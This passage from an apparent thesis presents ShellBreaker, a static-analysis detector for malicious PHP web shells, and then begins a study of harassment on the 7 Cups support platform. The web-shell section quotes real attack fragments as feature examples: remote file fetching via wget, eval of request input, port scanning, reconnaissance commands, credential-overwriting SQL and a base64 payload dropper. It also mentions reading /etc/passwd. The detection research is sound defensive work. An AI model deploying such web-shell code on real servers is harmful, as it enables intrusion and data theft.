shells and benign PHP scripts. Our experimental results have demonstrated that




Web services are among the most popular Internet services, offering critical services and
storing sensitive data. As software with enormous size and complexity, many web services
are vulnerable [169]. Extensive research efforts have been invested to solve web security
challenges at the pre-exploitation phase (i.e., to identify vulnerabilities in web scripts) [122,
252, 253, 265, 222, 66, 23]. For example, Huang et al. [122] proposed a framework to
generate test cases to reveal vulnerabilities of web systems. Zheng et. al [252, 253] and
Xie et.al [265] leverage static program analysis to detect PHP web applications that are
vulnerable to SQL injection and XSS attacks. Son et. al [222] proposed a method to
identify PHP web applications with semantic vulnerabilities such as infinite loops and the
missing of authorization checks.
Many methods have also been proposed to enhance web security at the during-exploitation
phase (i.e., to detect ongoing attacks for vulnerability exploitation) [123, 142, 203, 15]. For
example, Ingham et al. [123] leverages DFA (Deterministic Finite Automata) to model web
requests and identify malicious ones. Krugerl et al. [142] built statistical models to profile
normal web requests and identify significant deviations as anomalies.
Compared to research that focuses on pre- and during-exploitation, systematic meth-
ods to mitigate post-exploitation threats such as effectively detecting web shells uploaded
by attackers, unfortunately, are still missing. Starov et al. [228] have performed analysis
and measurements using a large number of real-world malicious web shells to reveal and
quantify their functional features; authors of this paper have also set up honeypots to quan-
tify the number of third-party attackers and study how they use web shells. Tian et al. [240]
have proposed a method based on convolutional neural network to detect malicious web
shells by analyzing HTTP requests (rather than scripts). As a result, this detection method
has to perform detection at runtime (i.e., by observing attackers’ connection activities).
This will result in significant risks as commands from attackers may have already been ex-
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Figure 5.1: Accessing sensitive document using a simple web shell in List 5.1
ecuted before the detection is performed. In contrast, ShellBreaker detects malicious web
shells based on scripts using static analysis, thereby proactively mitigating such threats be-
fore attackers have access to the shells. The existing work that is closest to our method
is [243], in which Tu et al. have proposed a learning-based detection methods to iden-
tify malicious web shells by analyzing scripts source code. Detection features proposed
in method [243], however, are based on a set of pre-defined keywords (e.g., suspicious
keywords such as “Web Shell by” and “Hack by”), which can be easily evaded (i.e., using
simple concatenation or encoding tricks). Different from [243], ShellBreaker leverages a
set of syntactical and semantic features to systematically profile fundamental characteris-
tics of web shells such as the language-based structures and data flows, implying a higher
level of detection accuracy and resilience against evasion attempts.
5.3 Background and Dataset
A web shell essentially serves as a backdoor to a compromised web server. Once suc-
cessfully uploaded, an attacker can visit the web shell, a server-side script, to control the
compromised server. The web shell will execute these commands and display results to
the attacker. Web shells can be extremely simple but meanwhile have a considerable im-
pact and maintain minimal presence. A web shell can be written in any language that is
supported by the target web server. The most commonly observed web shells are written
in popular web languages such as PHP, ASP, and JavaScript. List 5.1 presents a powerful
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Figure 5.2: Total Number of Statements of Web Shell Scripts
PHP-based web shell in arguably its simplest form. It leverages the built-in PHP function
named “system()” to execute commands that are being passed through a “cmd” HTTP re-
quest GET parameter. Assuming its name is “test.php”, Figure 5.1 shows how to use this
web shell to access the password file (i.e., “//etc/passwd”) in the target system. Specifically,
the command to display the content of the password file, i.e., “cat //etc/passwd” is passed
to “system()” using ‘cmd’.




Since web shells are created by attackers, adversaries have complete freedom to de-
velop web shells with a huge variety to increase shells’ usability, stealthiness, and some-
times maintainability. Specifically, well-engineered web shells now provide well-presented,
sophisticated toolkits for diverse crimes. Figure 5.3 presents an example of the popular and
feature-rich WSO (Web Shell by Orb) shell [17]. Real-world web shells are commonly
characterized by complex structures, rich functions, and sophisticated obfuscation tech-
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Figure 5.3: An example of the popular and feature-rich WSO (Web Shell by Orb) shell [87]















Figure 5.4: The Architectural Overview of ShellBreaker
niques.
In order to motivate the system design and evaluate its performance, we have collected
de-obfuscated, real-world malicious web shells from other researchers [228] and public
repositories [236, 242]. We filtered out those web shells that are non-PHP or incomplete
through manual analysis, resulting in 475 malicious web shells for analysis and detection.
Figure 5.2 presents the distribution of the number of statements for malicious shells, which
experience a great diversity.
We also obtained a balanced data set of 475 benign samples by collecting benign PHP
scripts from various sources such as trending PHP-based systems from Github and plugins
for popular web-based systems (e.g., WordPress plugins). Since these scripts are either
widely used or thoroughly vetted before deployed, we consider them as benign samples.
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5.4 Detection System Design
We designed a system named ShellBreaker to detect malicious web shells. ShellBreaker is
composed of two phases, namely the training phase and the detection phase. In the train-
ing phase, a statistical classifier is trained from a set of labelled benign and malicious
PHP scripts. In the detection phase, an unknown PHP script is represented by a feature
vector and then analyzed by the statistical classifier. Figure 5.4 presents the architectural
overview of ShellBreaker. Rather than analyzing the source code of a PHP script, Shell-
Breaker first leverages a parser to generate the abstract syntax tree(s) (AST) [24] of this
script. Compared to the raw source code, the AST-based representation does not only ex-
clude programming variations such as comments, spaces, and etc, but also manifests the
script structure. ShellBreaker next performs both syntactical and semantic analysis based
on the derived AST. On the one hand, ShellBreaker traverses the AST to identify structure-
aware language features such as sensitive APIs and the correlations between these APIs
and specific statements. On the other hand, we implement an interpreter to perform light-
weight taint analysis on the AST, aiming to reveal and characterize explicit and implicit
data flows from super global variables to sensitive operations. Both the syntactical and
semantic analysis result in a feature vector to profile a PHP script. The statistical classifier
will identify the maliciousness of a PHP script based on its feature vector. It is worth not-
ing that ShellBreaker can directly take advantage of various existing statistical classifiers.
The focus of ShellBreaker is to devise syntactical and semantic features that can effectively
discriminate between malicious web shells and benign PHP scripts.
In order to design features capable of effectively differentiating malicious web shells
from benign scripts, we identify three characteristics that are typical and critical for mali-
cious web shells.
• The Intensive Usage of Super Global Variables: User-friendly malicious web
shells accept various commands together with their arguments from attackers and
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perform pre-defined activities accordingly. Since super global variables serve as the
dominating way to feed PHP scripts with external data, malicious web shells tend to
use various super global variables that are highly parameterized.
• Adaption and Automation: Although attackers can successfully compromise a web
service, they do not necessarily know details of the target platform such as types
of databases and port numbers of additional services. Also, the compromising and
uploading process is highly automated. As a consequence, the malicious web shell
is usually implemented once and deployed in many compromised servers. Thus, the
web shell script will attempt to automatically explore detailed configuration of the
target platform. Also, attacks launched by a malicious web shell, such as password
cracking and spamming, are usually highly automated.
• Sensitive Operations: Malicious web shells need to enable attackers to perform a
variety of system- and network-level operations (e.g., exfiltrating information from
database, tampering with local sensitive files, or/and sending spams) locally, re-
motely, or both.
We therefore have designed 8 features to systematically profile these characteristics.
In the remaining part of this section, we define these features and introduce the motivation
behind their design. We further empirically demonstrate the effectiveness of these features
using real-world data as introduced in Section 5.3.
5.4.1 The Intensive Usage of Super Global Variables
A server side script usually accepts external inputs through super global variables. PHP
supports a sizable set of super global variable such as $ POST, $ GET, and $ FILES. Each
super global variable usually suggests a specific type of HTTP protocol. For example,
$ POST, $ GET, and $ FILES refer to data transmitted from a client to the server through
“GET”, “POST”, and “file uploading” methods, respectively. It is true that benign PHP
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scripts also reply on super global variables. Nevertheless, malicious web shells tend to have
higher density of super global variables compared to benign scripts. This can be mainly
attributed to the fact that attackers need various types of super global variables to feed data
to web shells and meanwhile attempt to reduce the number of uploaded scripts to minimize
the presence in a compromised server. In addition, a variety of commands are expected to
be sent from attackers to the web shell, where each command is referred through a string-
based index. Listing 5.2 presents an example of typical usage of super global variables
in malicious web shells, where $ POST is frequently accessed to retrieve commands and
parameters from an attacker. Comparatively, each benign script tends to have localized
functions, where each script is likely to handle specific super global variable(s) to facilitate
development and debugging. We therefore propose the following feature to quantify our
observation.
Listing 5.2: Massive usage of super global variables in a real-world malicious web shell
1 switch ($_POST['with']) {
2 case 'wget':
3 $_POST['cmd'] = which('wget') . " " . $_POST['rem_file'] ...
. " -O " . $_POST['loc_file'] . "";
4 break;
5 case 'fetch':
6 $_POST['cmd'] = which('fetch') . " -o " . ...
$_POST['loc_file'] . " -p " . $_POST['rem_file'] . "";
7 break;
8 case 'lynx':
9 $_POST['cmd'] = which('lynx') . " -source " . ...
$_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
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Figure 5.5: Feature 1: The Number of Super Global Variables
10 break;
11 case 'links':
12 $_POST['cmd'] = which('links') . " -source " . ...
$_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
13 break;
14 }
• Feature 1: The Number of Super Global Variables. In a script, we count the
number of super global variables including $ GET, $ POST, $ FILES, $ COOKIE,
$ REQUEST, $ SERVER, $ SESSION, $ ENV and $GLOBALS.
Figure 5.5 presents the distribution of the total number of super global variables in
a PHP script, which is either a benign script or a malicious web shell. As indicated in
the distribution, approximately 64% of malicious web shells refer to super global variables
more than 20 times whereas the vast majority (98%) of benign scripts access super global
variables fewer than 20 times.
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5.4.2 Adaption and Automation
An “upload-&-play” web shell is highly desired to overcome the challenges introduced by
the high variety of compromised systems; a web shell also aims to automate many host-
based and network-based attacks. Therefore, web shells need to adapt to compromised
systems. Since compromised systems may have different configurations such as types of
database and port number, a web shell needs to react after sensing the operational envi-
ronment. This implies the intensive usage of branch statements in web shells. In addition,
their branch conditions commonly integrate expressions that evaluate multiple aspects of
system configurations. This further implies a considerable number of binary operators (e.g.,
“AND” and “OR”) used inside conditions. Listing 5.3 presents a real-world example of a
web shell that accesses a database using a specific port number based on the type of the
database (e.g., ‘MySQL’ or ‘MSSQL’). Since the developers of benign server side scripts
commonly know or directly specify the running environments, benign scripts usually do
not need to accomplish such a high level of adaption. We therefore design the following
two features.
Listing 5.3: Frequent Usage of Conditional Statement in Malicious Web Shell
1 switch ($this->db) {
2 case 'MySQL':
3 if (empty($this->port)) {
4 $this->port = '3306';
5 }
6 if (!@function_exists('mysql_connect')) return 0;
7 $this->connection = @mysql_connect($this->host . ':' ...
. $this->port, $this->user, $this->pass);
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8 if (is_resource($this->connection)) return 1;
9 break;
10 case 'MSSQL':
11 if (empty($this->port)) {
12 $this->port = '1433';
13 }
14 if (!@function_exists('mssql_connect')) return 0;
15 $this->connection = @mssql_connect($this->host . ',' ...
. $this->port, $this->user, $this->pass);
16 if ($this->connection) return 1;
17 break;
18 case ...
• Feature 2: The Percentage of Conditional Statements. This feature characterizes
the number of conditional statements including if, elseif, else, case, and
ternary over the total number of statements in a script.
• Feature 3: The Average Number of Binary Operations in Each Condition. For each
script, we count the number of binary operations like &&, >, . and= within a script
and then divide by the total number of conditional statements including if, elseif,
else, case, and ternary.
Figure 5.6 and Figure 5.7 display the distribution of feature 2 and feature 3 for both
benign and malicious scripts, respectively. As manifested in these distributions, malicious
web shells tend to have large values for both features. For example, approximately 60%
of malicious web shells have more than 30% of all statements as conditional statements;
comparatively, only around 13% of benign scripts have such high percentage of conditional
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Figure 5.6: Feature 2: The Percentage of Conditional Statements.



















Figure 5.7: Feature 3: The Average Number of Binary Operations in Conditions.
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statements. Approximately 80% of malicious web shells have 0.23 binary operations for
each conditional statement whereas only 20% of benign scripts reach this average number.
Compared to benign scripts, malicious web shells tend to contain more loop state-
ments. On the one hand, a loop statement can be considered as a variant of a branch state-
ment. Malicious web shells are often capable of performing autonomous attacks, which
are usually implemented through loop statements. Salient examples include cracking pass-
words using brute force, sending a massive amount of spam, and periodically collecting
sensitive information from compromised targets. Listing 5.4 presents such an example col-
lected from a real-world malicious web shell, where a loop statement is involved for port
scanning. We therefore design a feature to measure the percentage of loop statements in a
script.
Listing 5.4: Port Scan Using Loop Statement in Malicious Web Shell
1 if (isset($_POST['host']) && is_numeric($_POST['end']) && ...
is_numeric($_POST['start'])) {
2 for ($i = $start;$i ≤ $end;$i++) {
3 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
4 if ($fp) {





• Feature 4: The Percentage of Loop Statements. This feature measures the percent-
age of loop statements, including while, for and foreach, over the total number of
statements in a script.
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Figure 5.8: Feature 4: The Percentage of Loop Statements
Figure 5.8 shows the distribution of the percentage of loop statements (i.e., feature
4) for both benign scripts and malicious web shells. The empirical measurements indeed
demonstrated that malicious web shells tend to have more loops compared to benign scripts.
We next explored strings contained in server side scripts. A rich body of strings can be
used as such as commands, parameters, and formats to increase the automation of a script.
Malicious web shells tend to contain more strings. First, a large number of commands
and parameters are transmitted through super global variables, where each super global
variable is indexed by strings. A variety of strings, such as “with”, “wget”, “rem file”,
“fetch” manifested in Listing 5.2 serve as a real-world example. Second, malicious web
shells interact with the compromised system through PHP built-in shell-execution func-
tions, where these functions expect pre-defined strings as parameters (e.g., linux shell com-
mands) for execution. This implies the inclusions of a large number of strings in malicious
web shells. Listing 5.5 presents such an example, where strings like “cat /proc/version”
and “cat /proc/cpuinfo” are used to direct execution on the target system. Finally, mali-
cious web shells may encode/obfuscate certain functionalities and decode them at runtime
for execution. In contrast, benign PHP scripts contain strings for two main purposes i)
function parameters (e.g., ”/” as delimiter for the “explode()” function) and ii) content to
be displayed to the browser. We therefore measure the number of strings in one PHP script
and use it as one feature.
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Listing 5.5: Massive usage of strings in a real-world malicious web shell
1 if (!$win) {
2 displaysecinfo("OS Version", myshellexec("cat /proc/version"));
3 displaysecinfo("Kernel Version", myshellexec("sysctl -a | ...
grep version"));
4 displaysecinfo("Distrib Name", myshellexec("cat ...
/etc/issue.net"));
5 displaysecinfo("Distrib Name (2)", myshellexec("cat ...
/etc/*-realise"));
6 displaysecinfo("CPU Info", myshellexec("cat /proc/cpuinfo"));
7 displaysecinfo("RAM", myshellexec("free -m"));
8 displaysecinfo("HDD Space", myshellexec("df -h"));
9 ...
10 }
• Feature 5: The Number of Strings. In a script, we count the number of strings.
Figure 5.9 presents the distribution of the number of strings for malicious web shells
and benign scripts. Specifically, approximately 50% of malicious web shells contain over
400 strings; comparatively, 98% benign PHP scripts contain less than 400 strings.
In addition, we have observed that encoded/obfuscated strings, which are used for
execution after decoding, tend to be lengthy. Listing 5.6 presents the code snippet from
a real-world malicious web shell, where the string assigned to “$webadmin” has a large
number of 266,676 chars. This string represents a PHP script encoded using base64, which
will be decoded before written into a file. We therefore design another feature to quantify
the length of the longest string in a PHP script.
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Figure 5.9: Feature 5: The Number of Strings
Listing 5.6: A real-world malicious web shell has a long encoded string (the string is
truncated for display)
1 //The Length of the string $webadmin is 266676.










12 $file = fopen("webadmin.php" ,"w+");
13 $write = fwrite ($file ,base64_decode($webadmin));
• Feature 6: The Length of The Longest String. In a script, we measure the length for
each string and use the largest one as the feature.
92



















Figure 5.10: Feature 6: The Length of The Longest String
Figure ?? presents the distribution of the length of the longest string in malicious and
benign scripts, respectively. Specifically, approximately 60% of malicious scripts have the
longest string with more than 300 chars whereas 95% benign scripts have strings shorter
than 300 chars.
5.4.3 Tainted Sensitive Operations
We also study how untrusted data sources impact sensitive operations by performing se-
mantic analysis. Untrusted data are usually derived from super global variables and sen-
sitive operations include database/SQL operations, file read/write operations, command
executions, and networking operations. ShellBreaker performs context-aware static analy-
sis to investigate both explicit and implicit data flows [71] from super global variables to
these sensitive operations. Specifically, we have implemented an interpreter to interpret the
abstract syntax tree of a PHP script to taint variables using data flow analysis. Taints are
initialized when ShellBreaker interprets a super global variable.
• Feature 7: Explicit Data Flow. This feature measures the number of sensitive op-
erations whose parameters are tainted by super global variables through data flows
(i.e., there exists data dependency between a sensitive operation and a super global
variable).
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Figure 5.11: Feature 7: Explicit Data Flow
Listing 5.7 presents the code snippet from a malicious web shell that contains a data
dependency between a sensitive operation (“@mysql query”) and a super global variable
(i.e., “$ POST[‘urjos’]”). Data extracted from “$ POST[‘urjos’]” is further concatnated
with the string “users” and assigned to the variable “$set urjos”, which will be again used
to form the SQL statement referred to the variable “$r00t13”. Finally, “$r00t13” is used
in a SQL query (i.e., $ok7 = mysql query($r00t13)), forming a typical data flow from
“$ POST[‘urjos’]” to “@mysql query”.
Figure 5.11 presents the distribution of values for Feature 7 for both malicious web
shells and benign scripts, where the percentage for web shells tends to be much larger
compared to that of benign scripts.
Listing 5.7: Explicit Data Flow in Malicious Web Shell
1 $dbhjos = $_POST['dbhjos'];
2 $dbnjos = $_POST['dbnjos'];
3 $dbujos = $_POST['dbujos'];
4 $dbpjos = $_POST['dbpjos'];
5 @mysql_connect($dbhjos, $dbujos, $dbpjos);
6 @mysql_select_db($dbnjos);
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7 $set_urjos = $_POST['urjos'];
8 $table_name5 = $jos_prefix . "users";
9 $r00t13 = "UPDATE $table_name5 SET username ='" . $set_urjos ...
. "' WHERE id ='62'";
10 $r00t14 = "UPDATE $table_name5 SET password ='" . $set_psjos ...
. "' WHERE id ='62'";
11 $ok7 = @mysql_query($r00t13);
12 $ok7 = @mysql_query($r00t14);
Listing 5.8: Implicit Data Flow in Malicious Web Shell
1 if (isset($_REQUEST['evalcode'])) {
2 $c = ss($_REQUEST['evalcode']);
3 ob_start();
4 eval($c);
5 $b = ob_get_contents();
6 ob_end_clean();
7 $c = $b;
8 }
9 elseif (isset($_REQUEST['phpinfo'])) {
10 ob_start();
11 eval("phpinfo();");
12 $b = ob_get_contents();
13 ob_end_clean();
14 $a = strpos($b, "<body>") + 6;
15 $z = strpos($b, "</body>");
16 $s_result = "<div class=\"phpinfo\">" . substr($b, $a, $z - ...
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Figure 5.12: Feature 8: Implicit Data Flow
$a) . "</div>";
17 }
• Feature 8: Implicit Data Flow. This feature measures the number of sensitive func-
tion calls that belong to an execution path governed by variables tainted by super
global variables.
Listing 5.8 presents such an example. Specifically, the super global variable “$ REQUEST[‘phpinfo’]”
controls the execution path in which the sensitive operation “eval(“phpinfo();”)”, forming
an implicit data flow.
Figure 5.12 presents the distribution of Figure 8. Approximately 60% of malicious
web shells have more than 11 sensitive operations tainted by super global variables through
implicit data flows. Comparatively, only around 12% of benign scripts have more than 11
such sensitive operations.
5.5 Evaluation
We have performed extensive evaluation of ShellBreaker using real-world data as intro-
duced in Section 5.3, which includes 475 real-world malicious web shells and the same
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number of benign scripts. Our evaluation focuses on ShellBreaker’s overall detection per-
formance, the importance of each feature, and the correlation among different features.
5.5.1 Detection Accuracy
We evaluate the detection performance of ShellBreaker with three different statistical clas-
sifiers including Random Forest [35], Support Vector Machine [60], and Gradient-Boosted
Tree [109]. We used 10-fold cross-validation, where we randomly partition the data set
into 10 folds and then employ 9 folds for training and the remaining 1 fold for detection.
The area under the ROC curve (AUC) [84] values are summarized in Table 5.1 for each
statistical classifier employed. A high AUC values indicates an overall high detection ac-
curacy. As indicated in the experimental results, ShellBreaker accomplishes high detection
accuracy generally for all three classifiers. This also implies that the high detection perfor-
mance of ShellBreaker is enabled by the proposed features, rather than relying on selected
classifiers.
Out of 8 features, the first 6 features are light-weight since they only require syntactic
analysis of a PHP script. Comparatively, both Feature 7 and Feature 8 are heavy-weight se-
mantic features since ShellBreaker needs to perform whole-program context-sensitive data
flow analysis for each script. Despite the fact that Feature 7 and Feature 8 mandate more
system resources, they aim to improve the detection performance. Figure 5.13 presents the
receiver operating characteristic (ROC) when the first 6 light-weight syntactical features
are used for detection (with Random Forest adopted as the statistical classifier). Shell-
































































Figure 5.14: Detection performance using both 6 light-weight syntactical features and 2
semantic features
semantic features added, the detection rate has been boosted to 91.7% at the false positive
rate of 1%, as shown in Figure 5.14.
5.5.2 Feature Ranking and Correlation
We next investigate the relative importance of the proposed features using the Random
Forest classifier, which accomplished the highest detection accuracy according to our ex-
periments. We employed the variable importance of each feature to the Random Forest
classification model using a permutation test [198]. The rank of features based on the vari-
able importance is shown in Table 5.2, where we can find that Feature 1 and Feature 8 rank
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top among all features.
Strong correlation among features is not preferred since that implies redundancy in
classifying scripts. To be more specific, if many pairs of features used in ShellBreaker are
linearly correlated, it can hinder classification accuracy as correlated features that essen-
tially encode the same information to a classifier. We use Pearson’s r [147], also known as
the Pearson correlation coefficient, to measure the strength of correlation. Pearsons r corre-
lation coefficient is defined as: r = {∑(f1 − f̄1)(f2 − f̄2)}/{√∑(f1 − f̄1)2√∑(f2 − f̄2)2},
where f̄1 and f̄2 denote the means of the f1 and f2, respectively. The Pearson’s r takes on
values between -1 and 1. The absolute value (i.e, |r|) represents the degree of the correla-
tion, ranging from being perfectly negative correlated (-1) and perfectly positively corre-
lated (1). Note that |r| = 0 indicates no correlation either negatively or positively. If the
Pearson’s r between two features is close to 1 (or -1), then the pair of these features are
highly correlated. Figure 5.15 illustrates that most of our features are not highly linearly-
correlated to each other. For example, there is only one pair of features, Feature 8 (Implicit
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Figure 5.15: Upper Triangular Matrix of Pearson Correlation Coefficient
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5.6 Summary
We have presented a novel detection system named ShellBreaker to detect web shells writ-
ten in PHP. ShellBreaker features a collection of syntactical and semantic features that
systematically characterize web shells. We have evaluated ShellBreaker using a large num-
ber of 475 real-world, PHP-based web shells and the same number of benign PHP scripts.
Our experimental results have demonstrated that ShellBreaker can achieve a high detection
rate of 91.7% with a low false positive rate of 1%.
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Chapter 6: Detecting Suspicious
Members in An Online Emotional
Support Service
6.1 Motivation
There is great need for online platforms that offer emotional supports through live, anony-
mous chat to individuals who experience stress, anxiety, and depression. Such platforms
have been explored theoretically [28, 121] and implemented practically, where examples
include 7 Cups, BlahTherapy, and CrisisChat. 7 Cups is a canonical example of an online
emotional support service that offers crowdsourced emotional support. It bridges individu-
als who are in need of emotional support (called members in 7 Cups) with trained parapro-
fessionals (called listeners) through confidential and anonymous communication channels.
Listeners are volunteers who are trained in Active Listening [205]. 7 Cups has shown a re-
markable growth in the context of number of registered active listeners and members since
its inception, demonstrating the great need of online emotional support services.
Along with the increasing popularity of social networks including aforementioned
emotional support services, a growing number of suspicious activities such as unpleasant
conversations, offensive communications, and even online harassment emerge. In fact, a
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survey [79] showed that 73% of adult Internet users have observed online harassment and
40% have personally experienced it. These activities have been observed to result in neg-
ative psychological effects such as depression, low self-esteem and even suicidal tenden-
cies. While both members and listeners doubtlessly suffer from online harassment, listeners
could have especially harmful repercussions. In addition to suffering from potential psy-
chological attacks, listeners harassed by nefarious members may become demotivated to
participate in online emotional support platforms, leading to fatal effects on the viability of
online emotional support services that rely on a crowd of supportive listeners to function.
Understanding suspicious activities and detecting suspicious members are therefore
essential to secure online emotional support platforms and to protect their voluntary force
of listeners. Our work begins with answering an important question - What are the different
types of online suspicious activities and how significant are they in this online emotional
support service? The answer to this question offers an empirical basis to understand the
nature of suspicious activities in online emotional support services. However, suspicious
activities are labelled with natural languages rather than predefined types, making it chal-
lenging to categorize suspicious activities. In order to address this challenge, we have
leveraged the topic modeling method to extract topics from language-based labels.
Our work also focuses on designing an effective detection system, which faces multi-
ple challenges. First, the suspicious activities do not have to rely on elements (e.g., URLs
and binaries) that are essential to traditional spamming and phishing attacks. Therefore,
it becomes challenging to detect such attacks based on network information (e.g., domain
names, IP addresses, and HTTP redirection chains) and malicious logic (e.g, through static
and dynamic binary analysis). Second, members and listeners have total freedom to adopt
any language for conversation. As a consequence, it faces great obstacles to analyze multi-
lingual conversations using techniques such as parsing dialogs, mining text, and modeling
topics. Third, information about social structures (e.g., friendship, followed, and following
relationship), which is pervasively available for typical online social networks such as face-
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book and twitter, is usually absent in online emotional support platforms. This is because
social structure on an emotional support service is bipartite: users interact with listeners,
but members do not communicate with other members and listeners do not communicate
with other listeners. Only temporal information about member to professional connections
is available as a detection feature.
To effectively and automatically detect suspicious members in online emotional sup-
port systems by overcoming the aforementioned challenges, we have designed the novel
system TeaFilter. TeaFilter employs a collection of light-weight behavioral features to
characterize a member. These features aim to characterize a user from three aspects in-
cluding i) how she starts conservations, ii) how she chats during a conservation, and iii) the
public reputation of this member inside the community. TeaFilter integrates these features
using a statistical classifier to discriminate between suspicious and benign members.
6.2 Related Work
An October 2014 Pew research survey offers the evidence that online harassment is a major
phenomenon that impacts Internet and social media users [79]. Academic studies have
also demonstrated the negative factors associated with online harassment that attacks U.S.
teenagers, and unearthed the fact that bullying is intrinsic to users rather than to a particular
platform [39].
Our study lies in the intersection of online harassment on online social systems, un-
derstanding the nature of online suspicious activities, and designing automated detection
systems. Previous studies on online harassment focus on the effects of the practice on indi-
vidual victims, which is an extremely worthy endeavor [115]. Our study takes the unique
perspective of exploring the effect of harassment on the overall health and viability of the
online social system itself. We do so by evaluating how listeners may be bullied and dis-
couraged from participating in the service by members. Moreover, our exploration is data
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rather than survey driven.
Given the increasing popularity of online social networks (OSNs), detecting suspi-
cious users in OSNs becomes of great importance. Many detection methods have been
proposed [119, 118, 50, 51, 83, 47, 263, 173]. Considering the prevalence of spamming
in OSNs, these methods almost exclusively focus on detecting accounts that send spams,
where a spam message is usually initiated by an attacker, flows through one or a series of
suspicious accounts, and finally reaches a victim account. Despite the fact that these meth-
ods differ in their specific design, they generally take advantage of partial or all of three
sources for detection including i) the content of the spam message, ii) the network infras-
tructure that hosts the malicious information (e.g., exploits), and iii) the social structure
among suspicious accounts and victim accounts. For example, Gao et al. [95] designed a
method to reveal campaigns of suspicious accounts by clustering those accounts that send
messages with similar content. Lee et al. [146] devised a method to track HTTP redirection
chains initiated from URLs embedded in an OSN message, group messages that lead to
webpages hosted on the same server, and use the server reputation to identify suspicious
accounts. Yang et al. [268] extracted a graph from the following relationship of twitter
accounts and then propagate maliciousness scores using the derived graph; Wu et al. [263]
proposed a social spammer and spam message co-detection method based on the posting
relations between users and messages, and utilized the user-message relations, user-user re-
lations, and message-message relations to improve the performance of both social spammer
detection and spam message detection.
Compared to existing methods on detecting spamming OSN accounts, designing a
system to perform effective detection of suspicious users in online emotional support sys-
tems faces great challenges. First, elements that are important for spamming attacks such
as URLs and binaries do not have to be present to enable successful offensive communica-
tions and harassment attacks. Second, both the member and the listener have total freedom
to adopt any language for conversation. Third, online emotional support systems only
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Table 6.1: Summary of The Dataset. “Affected Listeners” refer to listeners that were ex-
posed to at least one suspicious activity; Reprinted from [154]
Users Count Percentage
Num. of Members 452,605 -
Num. of Listeners 169,372 -
Conversations 3.2 M -
Suspicious Members 19,281 4.26%
Active Suspicious Members 15,305 3.38%
Affected Listeners 37,262 22%
maintain user-professional relationship and social structures (e.g., friendship, followed,
and following relationship), which are typical for existing online social networks, will be
unavailable. Therefore, we need to design a new system to address these new challenges.
This system needs to be capable of detecting suspicious users without relying on the com-
munication content, malicious network infrastructure, or the social structures.
6.3 Background and Dataset
7 Cups1 is a website (also an application) that provides free support to people experienc-
ing anxiety, stress & depression by connecting them with trained listeners. 7 Cups was
launched in July 2013 and has developed into a popular online therapy & counseling plat-
form with reportedly 600,000 registered users that can generate 90,000 conversations per
week by 2015 [43]. 7 Cups has two types of users [75, 40]:
• Listeners are individuals trained with active listening skills. A listener must be at
least 16 years old. Each listener is required to complete an hour-long video and text-
based training course before she is given a practice conversation with a computer
robot that impersonates an individual suffering from depression. A qualified listener
will then have the opportunity to proceed with a variety of other training videos. A
listener gradually accumulates credits from conversations in which she was involved;
1https://www.7cups.com
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the level of a listener will be promoted after a certain amount of credits are obtained.
Listeners are the core to the viability of the platform.
• Members are individuals who are seeking for stress relief by engaging in active
discussion with listeners through the 7 Cups website. Any network user can register
as a member. Members obtain “growth points” for conducting activities such as
exchanging messages with listeners and posting on the forum. Obtaining sufficient
“growth points” will result in the upgrade of the “member level” of a member, a
metric that implies progress towards improved mental health.
A member-listener conversation starts with a request from a member to an online lis-
tener. A member can search for a listener by offering certain criteria; the 7 Cups platform
can also randomly assign an active listener to this member. Once established, the conver-
sation between a member and a listener will last until it is terminated by either end.
Two types of actions, including block and ban, are taken against misbehaving mem-
bers. A block means the member who has been blocked can no longer have one-one con-
versation with the listener who blocked her. A ban on the other hand is a more severe
restriction which is imposed by the administrators of the website, which stops the banned
member from using the service. Usually, a listener offers comments in natural language
when blocking a member who shows undesirable behaviors. It is worth emphasizing that
comments are offered in natural language. The administrators of 7 Cups will be notified by
listeners’ actions towards members’ misbehaviors and they can ban a misbehaving mem-
ber permanently according to the 7 Cups community comment policy [177]. It is worth
noting that the detection of suspicious members is purely based on manual efforts at the
current stage. In our current dataset, if a member is blocked by a listener or banned by an
administrator, we will label this member as a suspicious member.
We have collected data from 7 Cups. In the dataset, identities of all members and
listeners have been properly anonymized and the content of conversations has been re-
moved to protect user privacy. The dataset identifies conversations of 452,605 members
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from December 2013 to August 2015. Among all of these members, 19,281 are involved in
suspicious activities, representing 4.26% of the 452,605 members in total. A large percent-
age of 22% of listeners have been exposed to at least one suspicious activity, indicating the
gravity of online threats against the platform’s viability. The dataset contains various types
of raw data such as the registration date, the login information, the starting time, duration,
the member level of each member, and comments from listeners and the administrator.
We analyze all members for types of suspicious activities. In contrast, for detection,
we focus on detecting suspicious members that experience persistent activities. Detecting
suspicious members with persistent activities is of particular importance for two reasons.
First, they are more likely to be trusted by listeners as committed members who seek serious
assistance compared to transient members, thereby it is much easier for them to attack
listeners. Second, suspicious members with persistent activities usually accumulate an
extensive number of conversation records with mixed behaviors, which usually require
significant time and effort for manual analysis, thereby making an automated method highly
demanded. In the current implementation of our method, we consider a member to have
persistent activities if this member i) has been registered for at least 6 weeks and ii) has
initiated more than 3 conversations. We have totally identified 15,305 active suspicious
members in total. Detailed information of the dataset is summarized in Table 6.1.
6.4 The Analysis of Suspicious Activities
The first step is to build an empirical basis to facilitate the understanding of the suspicious
activities in emotional support services. Towards this end, we take advantage of the com-
ment offered by a listener or an administrator when she reports, blocks, or bans a member
with inappropriate behaviors. Unfortunately, all comments are in natural languages and
their syntactic representations may vary despite having similar semantic meanings. Ta-
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Table 6.2: Example Comments for Suspicious Activities; Reprinted from [154]
Sexual behavior toward me.




Very vulgar and abusive language.
Asking personal questions about listeners.
Member requesting too much personal information.
Asking for age, address etc.
Figure 6.1: LDAVIS Identifies Three Topics including “Sexual Harassment”, “Rude Be-
havior”, and “Soliciting Personal Information”; Reprinted from [154]
ble 6.2 shows a few comments for blocking suspicious activities with different syntax.
We use an unsupervised topic modeling method to generalize individual comments
with significant syntactical diversity into high-level topics. Specifically, we use LDAVIS [218],
a topic modeling tool that extracts the latent topics of a corpus of documents using Latent
Dirichlet Allocation [32]. LDAVIS is particularly effective in addressing the challenge in-
troduced by common words in documents and hence making the meaning or semantics of
a topic more interpretable. The input of LDAVIS is a corpus of documents, where each
document is a comment in our application, and the output contains groups of documents
(i.e., each group corresponds to a topic) and the most relevant terms for each topic.
As presented in Figure 6.1, LDAVIS identifies three broad topics from comments that
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Figure 6.2: The Most Relevant Terms for The “Sexual Harassment” Topic; Reprinted
from [154]
